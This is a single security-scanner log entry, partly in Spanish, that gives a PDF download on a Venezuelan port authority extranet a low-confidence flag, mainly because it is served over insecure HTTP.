| 2026-05-01T20:40:17+00:00 | extranet.bolipuertos.gob.ve | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: seguropatrimonial.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Download served over insecure HTTP." Fragmento detectado: "Unfamiliar download host: extranet.bolipuertos.gob.ve" Fragmento detectado: "Runtime verdict: low (8/100)" Fragmento detectado: "Models URL:8 Content:0 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: URL uses insecure HTTP." Puntuación de confianza: 10/100 | pending |